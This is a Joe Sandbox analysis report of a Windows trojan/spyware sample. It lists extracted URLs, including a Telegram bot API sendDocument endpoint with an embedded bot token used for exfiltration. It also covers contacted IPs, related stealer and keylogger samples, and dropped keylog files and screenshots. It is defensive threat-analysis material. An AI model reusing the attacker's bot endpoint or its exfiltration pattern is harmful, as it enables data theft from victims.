https://duckduckgo.com/chrome_newtab	MSM8C42iAN.exe, 00000000.00000003.1403080623.00000000005D3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	MSM8C42iAN.exe, 00000000.00000003.1403080623.00000000005D3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=	MSM8C42iAN.exe, 00000000.00000003.1891081431.0000000003493000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115	MSM8C42iAN.exe, 00000000.00000003.1813114556.0000000000667000.00000004.00000020.00020000.00000000.sdmp	false		high
https://fundingchoicesmessages.google.com/i/pub-8790158038613050?ers=1	MSM8C42iAN.exe, 00000000.00000003.1442535526.000000000061F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1442510011.0000000000641000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1442580909.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	MSM8C42iAN.exe, 00000000.00000003.1403080623.00000000005D3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	MSM8C42iAN.exe	false		high
https://showip.net/	MSM8C42iAN.exe, 00000000.00000003.1442468987.0000000003451000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1442490992.000000000065C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://unpkg.com/leaflet	MSM8C42iAN.exe, 00000000.00000003.1442490992.000000000065C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	MSM8C42iAN.exe, 00000000.00000003.1403080623.00000000005D3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	MSM8C42iAN.exe, 00000000.00000003.1403080623.00000000005D3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://showip.net/?checkip=	MSM8C42iAN.exe, 00000000.00000003.1442468987.0000000003451000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1442490992.000000000065C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://showip.net.	MSM8C42iAN.exe, 00000000.00000003.1442580909.00000000005E2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	MSM8C42iAN.exe, 00000000.00000003.1403080623.00000000005D3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://showip.net/	MSM8C42iAN.exe, 00000000.00000003.1891223171.000000000060F000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1442580909.00000000005CA000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1813011207.000000000060E000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1442580909.0000000000607000.00000004.00000020.00020000.00000000.sdmp	false		high
http://showip.net	MSM8C42iAN.exe, 00000000.00000003.1442580909.00000000005CA000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1442580909.00000000005E2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://showip.net4	MSM8C42iAN.exe, 00000000.00000003.1442580909.00000000005CA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	MSM8C42iAN.exe, 00000000.00000003.1403080623.00000000005D3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://showip.netll	MSM8C42iAN.exe, 00000000.00000003.1442580909.00000000005CA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schema.org	MSM8C42iAN.exe, 00000000.00000003.1442468987.0000000003451000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1442490992.000000000065C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.telegram.org/	MSM8C42iAN.exe, 00000000.00000003.1891081431.0000000003493000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1891132344.0000000000664000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	MSM8C42iAN.exe, 00000000.00000003.1403080623.00000000005D3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.openstreetmap.org/copyright	MSM8C42iAN.exe, 00000000.00000003.1442468987.0000000003451000.00000004.00000020.00020000.00000000.sdmp, MSM8C42iAN.exe, 00000000.00000003.1442490992.000000000065C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://showip.netd	MSM8C42iAN.exe, 00000000.00000003.1442580909.00000000005CA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/abcdefghijklmnopqrstuvwxyz	MSM8C42iAN.exe, 00000000.00000003.1891132344.0000000000664000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.maxmind.com	MSM8C42iAN.exe, 00000000.00000003.1442490992.000000000065C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	MSM8C42iAN.exe, 00000000.00000003.1403080623.00000000005D3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://showip.netpD	MSM8C42iAN.exe, 00000000.00000003.1442580909.00000000005E2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom		62041	TELEGRAMRU	false
162.55.60.2	showip.net	United States		35893	ACPCA	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1562316
Start date and time:	2024-11-25 13:54:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 37s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	MSM8C42iAN.exe renamed because original name is a hash value
Original Sample Name:	d2678115448e9a9e3909fb7dcaf85eca9a28326fbd93d77d8608fd4d526c7dbb.exe
Detection:	MAL
Classification:	mal100.troj.spyw.winEXE@2/18@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, azureedge-t-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: MSM8C42iAN.exe

Simulations

Behavior and APIs

Time	Type	Description
07:55:33	API Interceptor	4498x Sleep call for process: MSM8C42iAN.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	November Quotation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	#U06a9#U067e#U06cc #U067e#U0631#U062f#U0627#U062e#U062a - 19112024,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	wMy37vlfvz.exe	Get hash	malicious	DarkCloud	Browse
	dekont 25.11.2024 PDF.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	denizbank 25.11.2024 E80 aspc.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	order requirements CIF-TRC809910645210.exe	Get hash	malicious	MassLogger RAT	Browse
	NEW P.O.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse
	MC8017774DOCS.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	Pigroots.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	Shave.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
162.55.60.2	wMy37vlfvz.exe	Get hash	malicious	DarkCloud	Browse	showip.net/
	8m65n7ieJC.exe	Get hash	malicious	DarkCloud	Browse	showip.net/
	Factura modificada____678979879.exe	Get hash	malicious	DarkCloud	Browse	showip.net/
	Pago SEPA.pdf.exe	Get hash	malicious	GuLoader	Browse	showip.net/
	Lista de cotizaciones.exe	Get hash	malicious	DarkCloud	Browse	showip.net/
	New Order___________pdf.exe	Get hash	malicious	DarkCloud	Browse	showip.net/
	Payment Receipt Attached PDF.exe	Get hash	malicious	GuLoader	Browse	showip.net/
	Payment Receipt Attached PDF.exe	Get hash	malicious	GuLoader	Browse	showip.net/
	FCGF98760900.bat.exe	Get hash	malicious	DarkCloud	Browse	showip.net/
	DHL Parcel-CBM is 3.1- Total weight is 435kgs.==WOE1910053_____________________________.exe	Get hash	malicious	DarkCloud	Browse	showip.net/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
showip.net	wMy37vlfvz.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	8m65n7ieJC.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	Factura modificada____678979879.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	Pago SEPA.pdf.exe	Get hash	malicious	GuLoader	Browse	162.55.60.2
	Lista de cotizaciones.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	New Order___________pdf.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	Payment Receipt Attached PDF.exe	Get hash	malicious	GuLoader	Browse	162.55.60.2
	Payment Receipt Attached PDF.exe	Get hash	malicious	GuLoader	Browse	162.55.60.2
	FCGF98760900.bat.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	DHL Parcel-CBM is 3.1- Total weight is 435kgs.==WOE1910053_____________________________.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
s-part-0035.t-0009.t-msedge.net	New Purchase Order Document for PO1136908 000 SE.exe	Get hash	malicious	AgentTesla	Browse	13.107.246.63
	November Quotation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	13.107.246.63
	wMy37vlfvz.exe	Get hash	malicious	DarkCloud	Browse	13.107.246.63
	Vendor Agreement Ready for Your Signature November 22 2024 at 084923 PM.msg	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.63
	file.exe	Get hash	malicious	Credential Flusher	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
api.telegram.org	November Quotation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	#U06a9#U067e#U06cc #U067e#U0631#U062f#U0627#U062e#U062a - 19112024,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	wMy37vlfvz.exe	Get hash	malicious	DarkCloud	Browse	149.154.167.220
	dekont 25.11.2024 PDF.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	denizbank 25.11.2024 E80 aspc.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	order requirements CIF-TRC809910645210.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	NEW P.O.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	MC8017774DOCS.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Pigroots.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Shave.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	November Quotation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	#U06a9#U067e#U06cc #U067e#U0631#U062f#U0627#U062e#U062a - 19112024,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	wMy37vlfvz.exe	Get hash	malicious	DarkCloud	Browse	149.154.167.220
	dekont 25.11.2024 PDF.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	denizbank 25.11.2024 E80 aspc.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	149.154.167.99
	order requirements CIF-TRC809910645210.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	NEW P.O.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	MC8017774DOCS.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
ACPCA	wMy37vlfvz.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	TAX INVOICE.exe	Get hash	malicious	FormBook	Browse	162.0.209.213
	yakuza.i586.elf	Get hash	malicious	Mirai	Browse	162.36.0.12
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	162.64.74.120
	HXpVpoC9cr.exe	Get hash	malicious	FormBook	Browse	162.0.211.143
	meow.arm7.elf	Get hash	malicious	Unknown	Browse	162.52.234.30
	8m65n7ieJC.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	Factura modificada____678979879.exe	Get hash	malicious	DarkCloud	Browse	162.55.60.2
	dhl009544554961.INV.PEK.CO.041.20241115.183845.20241115.183948.34872.exe	Get hash	malicious	FormBook	Browse	162.0.215.33
	Pago SEPA.pdf.exe	Get hash	malicious	GuLoader	Browse	162.55.60.2

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	November Quotation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	PO_203-25.exe	Get hash	malicious	Remcos, GuLoader	Browse	149.154.167.220
	wMy37vlfvz.exe	Get hash	malicious	DarkCloud	Browse	149.154.167.220
	WNIOSEK BUD#U017bETOWY 25-11-2024#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	149.154.167.220
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	149.154.167.220
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	149.154.167.220
	412300061474#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	149.154.167.220
	order requirements CIF-TRC809910645210.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	Cargo Invoice_pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	149.154.167.220
	KAHILINGAN NG BADYET 25-11-2024#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	149.154.167.220

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataDqJdpmHo.txt

Download File

Process:	C:\Users\user\Desktop\MSM8C42iAN.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	396
Entropy (8bit):	4.353057571930702
Encrypted:	false
SSDEEP:	6:tSQq04q04q04q04q04SW04SW04SW04SW04SW04SW04nx:tG0R0R0R0R0pW0pW0pW0pW0pW0pW0Ux
MD5:	55E86B22A5DCD6F689B8D0546A83E231
SHA1:	6B08DE8A6A187E11A6506C835AC2C55F6727691C
SHA-256:	7903BFFCDE8D52CEF47EA8770BB8207E7807A9A639C2DD3B79607ABBBC9D44C7
SHA-512:	A581A003596E6665B483BFDF4747E05E8864234AB67A2E50352FA05285E4F43796357937D10A12040C2B821BDD797E3854539D493A10D713645F3BECDBF126B7
Malicious:	false
Reputation:	low
Preview:	..[07:56:44]<<Program Manager>>....[07:56:44]<<Program Manager>>....[07:56:44]<<Program Manager>>....[07:56:44]<<Program Manager>>....[07:56:44]<<Program Manager>>....[07:56:45]<<Program Manager>>....[07:56:45]<<Program Manager>>....[07:56:45]<<Program Manager>>....[07:56:45]<<Program Manager>>....[07:56:45]<<Program Manager>>....[07:56:45]<<Program Manager>>....[07:56:52]<<Program Manager>>..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataHhUnZmvD.txt

Download File

Process:	C:\Users\user\Desktop\MSM8C42iAN.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	363
Entropy (8bit):	4.388782830821727
Encrypted:	false
SSDEEP:	6:tSQwW04K04K04K04K04K04K04y4Zjp04y4Zjp04y4Zjp04y4Zjpx:tl0F0F0F0F0F0F0F4Zjp0F4Zjp0F4Zjb
MD5:	627F8675660A34A5FC40FA46F94994BD
SHA1:	8F13B90CBD74C92E467417941FD469FB31323D39
SHA-256:	073C894EC65FC91C863D761F59DD99C1118C1B51E8E3291BE2052A1A6D4CE683
SHA-512:	C588DA80BB48184F83B8BC4C8DBD92359FCE927E205DC26D4275F22FAB0C2264CF397BFD215650473A3DC4724DDA7EC5007B25F6723C8EABE588BC5391E62744
Malicious:	false
Reputation:	low
Preview:	..[07:56:21]<<Program Manager>>....[07:56:22]<<Program Manager>>....[07:56:22]<<Program Manager>>....[07:56:22]<<Program Manager>>....[07:56:22]<<Program Manager>>....[07:56:22]<<Program Manager>>....[07:56:22]<<Program Manager>>....[07:56:23]<<Program Manager>>....[07:56:23]<<Program Manager>>....[07:56:23]<<Program Manager>>....[07:56:23]<<Program Manager>>..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataOebbnOVW.txt

Download File

Process:	C:\Users\user\Desktop\MSM8C42iAN.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	429
Entropy (8bit):	4.299332329849067
Encrypted:	false
SSDEEP:	12:t/Zf0cZf0cZf0cZf0cZf0cZf0cZf0cZf0p0p0p0p0px:t/ZccZccZccZccZccZccZccZc++++7
MD5:	A7C8CB6046816DBE1BC4FBAE38671FB6
SHA1:	88DFD2FD12452DB875486520DE91AAC29E83430D
SHA-256:	2CECA763DDCAC477E6FF174C8BB41A6507D325FD4EF3E1E644EC2CC33AE9B07C
SHA-512:	0CD5985708CDE9676C4251C1CA3C2D238EFAAFDC622B68306D003E5ECFA9EA1D1139F605E8F2157C44962F8F3E4F0569C53D3E9E0CBE00B27DD14808C529D0CD
Malicious:	false
Reputation:	low
Preview:	..[07:55:59]<<Program Manager>>....[07:55:59]<<Program Manager>>....[07:55:59]<<Program Manager>>....[07:55:59]<<Program Manager>>....[07:55:59]<<Program Manager>>....[07:55:59]<<Program Manager>>....[07:55:59]<<Program Manager>>....[07:55:59]<<Program Manager>>....[07:56:00]<<Program Manager>>....[07:56:00]<<Program Manager>>....[07:56:00]<<Program Manager>>....[07:56:00]<<Program Manager>>....[07:56:00]<<Program Manager>>..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataWctSLmwW.txt

Download File

Process:	C:\Users\user\Desktop\MSM8C42iAN.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	8250
Entropy (8bit):	4.394958246320191
Encrypted:	false
SSDEEP:	192:/UUUUUUtttttteeeeeeeXXXXXXXgggggg5555555666666///////DDDDDDD888f:/UUUUUUtttttteeeeeeeXXXXXXXggggc
MD5:	E9A5B1A61DBD83ECC88005CACAF8266F
SHA1:	276EDEC626D8E7D723D95D42FBBC30C0BD2532DD
SHA-256:	72755A0FE8073BFBDB02A7EBAE8461282911E8BFB13AFB75D737D4C24DCE1959
SHA-512:	925D664CC47A86E5CEC7332DC60090DDC0328A4A4477F22F777CA4A1139A1D27DC148EF2B28FDB3E4248EAE3E2198BE56FB2A4CAFFDE72C0B69DEACD17834893
Malicious:	false
Reputation:	low
Preview:	..[07:55:03]<<Program Manager>>....[07:55:03]<<Program Manager>>....[07:55:03]<<Program Manager>>....[07:55:03]<<Program Manager>>....[07:55:03]<<Program Manager>>....[07:55:03]<<Program Manager>>....[07:55:03]<<Program Manager>>....[07:55:04]<<Program Manager>>....[07:55:04]<<Program Manager>>....[07:55:04]<<Program Manager>>....[07:55:04]<<Program Manager>>....[07:55:04]<<Program Manager>>....[07:55:04]<<Program Manager>>....[07:55:05]<<Program Manager>>....[07:55:05]<<Program Manager>>....[07:55:05]<<Program Manager>>....[07:55:05]<<Program Manager>>....[07:55:05]<<Program Manager>>....[07:55:05]<<Program Manager>>....[07:55:05]<<Program Manager>>....[07:55:06]<<Program Manager>>....[07:55:06]<<Program Manager>>....[07:55:06]<<Program Manager>>....[07:55:06]<<Program Manager>>....[07:55:06]<<Program Manager>>....[07:55:06]<<Program Manager>>....[07:55:06]<<Program Manager>>....[07:55:07]<<Program Manager>>....[07:55:07]<<Program Manager>>....[07:55:07]<<Program Manager>>....[07:55:0

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataZWdrgPWC.txt

Download File

Process:	C:\Users\user\Desktop\MSM8C42iAN.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	396
Entropy (8bit):	4.352220960626543
Encrypted:	false
SSDEEP:	6:tSQh04h04h04o04o04o04o04o04o04o04o04jx:tN0q0q0b0b0b0b0b0b0b0b0Ax
MD5:	B7DB19CE578629FD7CBA4781368AFF97
SHA1:	D5C78852B3222FB813D1813ACA3797892E6C1C47
SHA-256:	9EF515B3454AD4371B2D903D43AF5493AB98CB59B2C612B173418F7DB42AF0F7
SHA-512:	FF0EEB5B76614C7F4718798AFC7A55A1DF1E7C3401D1855DBFB46264F52D498356C528195C85282A2529A1F1D079E8123B0020738543CEB68D6764FAF9CFA63E
Malicious:	false
Reputation:	low
Preview:	..[07:56:10]<<Program Manager>>....[07:56:10]<<Program Manager>>....[07:56:10]<<Program Manager>>....[07:56:11]<<Program Manager>>....[07:56:11]<<Program Manager>>....[07:56:11]<<Program Manager>>....[07:56:11]<<Program Manager>>....[07:56:11]<<Program Manager>>....[07:56:11]<<Program Manager>>....[07:56:11]<<Program Manager>>....[07:56:11]<<Program Manager>>....[07:56:12]<<Program Manager>>..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDatansgiHqmX.txt

Download File

Process:	C:\Users\user\Desktop\MSM8C42iAN.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	363
Entropy (8bit):	4.269436930026817
Encrypted:	false
SSDEEP:	6:tSQudp04udp04udp04udp04udp04udp04r04r04r04r04qQZx:tidp0zdp0zdp0zdp0zdp0zdp0I0I0I04
MD5:	797C6DACAC5ECF8D89A500DC16F61F64
SHA1:	DBE9D25FB32C072540565FCBBE85E19DFAB35283
SHA-256:	0CBFBFA36AD921CEE822AE2E21D5EF73E5FA4C9076062DC0C4B197508ECBA90C
SHA-512:	B97B9622AA020141BF475E85ED2AB4DB0E74FFC6C67517FCF65E9059E9361B6DF165B19DB6E43458EFB94532FD289F24276DDEEB569D75267B73D1B6ED5226A1
Malicious:	false
Reputation:	low
Preview:	..[07:56:55]<<Program Manager>>....[07:56:55]<<Program Manager>>....[07:56:55]<<Program Manager>>....[07:56:55]<<Program Manager>>....[07:56:55]<<Program Manager>>....[07:56:55]<<Program Manager>>....[07:56:56]<<Program Manager>>....[07:56:56]<<Program Manager>>....[07:56:56]<<Program Manager>>....[07:56:56]<<Program Manager>>....[07:57:06]<<Program Manager>>..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataovGFJnlG.txt

Download File

Process:	C:\Users\user\Desktop\MSM8C42iAN.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	363
Entropy (8bit):	4.403311395264403
Encrypted:	false
SSDEEP:	6:tSQ904904U04U04U04U04D04D04D04D04Dx:t50y0j0j0j0j0000000000x
MD5:	ACBE0F2F950328ADBC0AC0733F105B1E
SHA1:	73356CAE306EF55DD4F17D7795DDD30BEF20F9A3
SHA-256:	E319171CE03F08CDCBC8AB0F64B2E873E50D7DA0A264BB550B5AFDFC21AAEA51
SHA-512:	FC78E04DFE604AB96970EDE5F42DA8C35712A4AC035B59C86D5C459F70EEF7832EB12111084BBD2A223AD5BB90979327693B2BCEADC544D47F3967611FB889C9
Malicious:	false
Reputation:	low
Preview:	..[07:56:32]<<Program Manager>>....[07:56:32]<<Program Manager>>....[07:56:33]<<Program Manager>>....[07:56:33]<<Program Manager>>....[07:56:33]<<Program Manager>>....[07:56:33]<<Program Manager>>....[07:56:34]<<Program Manager>>....[07:56:34]<<Program Manager>>....[07:56:34]<<Program Manager>>....[07:56:34]<<Program Manager>>....[07:56:34]<<Program Manager>>..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\LogqueintiseRngmeEXkkcAcRDShRzsDXooICEfirelit

Download File

Process:	C:\Users\user\Desktop\MSM8C42iAN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\ScreenshotAfUkbnDa.BMP

Download File

Process:	C:\Users\user\Desktop\MSM8C42iAN.exe
File Type:	PC bitmap, Windows 3.x format, 1280 x 1024 x 24, image size 3932160, cbSize 3932214, bits offset 54
Category:	dropped
Size (bytes):	3932214
Entropy (8bit):	6.7758185886834585
Encrypted:	false
SSDEEP:	12288:bIfTDU5vW5i41q6aUBa9tQd2Br+rLJmzuSikN87HrHJkVyC8+6ioPFA2RMMUUUXe:oTevW5iQKikV6RCuHYqxWwXnd
MD5:	C1F6E9F4DAB2800029D65A872C69B339
SHA1:	2DF75F2AA801FF44081100F4BE1887E58CDC4FC1
SHA-256:	B2EB5A6162BDA4369D43CCFB58DB795B974E2AE22E1E3FAC959E55A99DE5CCA0
SHA-512:	42FDA3531C4EE8281453B5A0C8E7EE7D1F3FEDD941088A78DF0E78F74CCD818F04341C004DA7F8B568845BB53A17BA87E4CD506394869A882BDC10AC0444A290
Malicious:	false
Preview:	BM6.<.....6...(.....................<.................$..$..#..#..#..#..#..#..$..$..$..$..$..$..$..$..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\ScreenshotPCPZmWJw.BMP

Download File

Process:	C:\Users\user\Desktop\MSM8C42iAN.exe
File Type:	PC bitmap, Windows 3.x format, 1280 x 1024 x 24, image size 3932160, cbSize 3932214, bits offset 54
Category:	dropped
Size (bytes):	3932214
Entropy (8bit):	6.7758185886834585
Encrypted:	false
SSDEEP:	12288:bIfTDU5vW5i41q6aUBa9tQd2Br+rLJmzuSikN87HrHJkVyC8+6ioPFA2RMMUUUXe:oTevW5iQKikV6RCuHYqxWwXnd
MD5:	C1F6E9F4DAB2800029D65A872C69B339
SHA1:	2DF75F2AA801FF44081100F4BE1887E58CDC4FC1
SHA-256:	B2EB5A6162BDA4369D43CCFB58DB795B974E2AE22E1E3FAC959E55A99DE5CCA0
SHA-512:	42FDA3531C4EE8281453B5A0C8E7EE7D1F3FEDD941088A78DF0E78F74CCD818F04341C004DA7F8B568845BB53A17BA87E4CD506394869A882BDC10AC0444A290
Malicious:	false
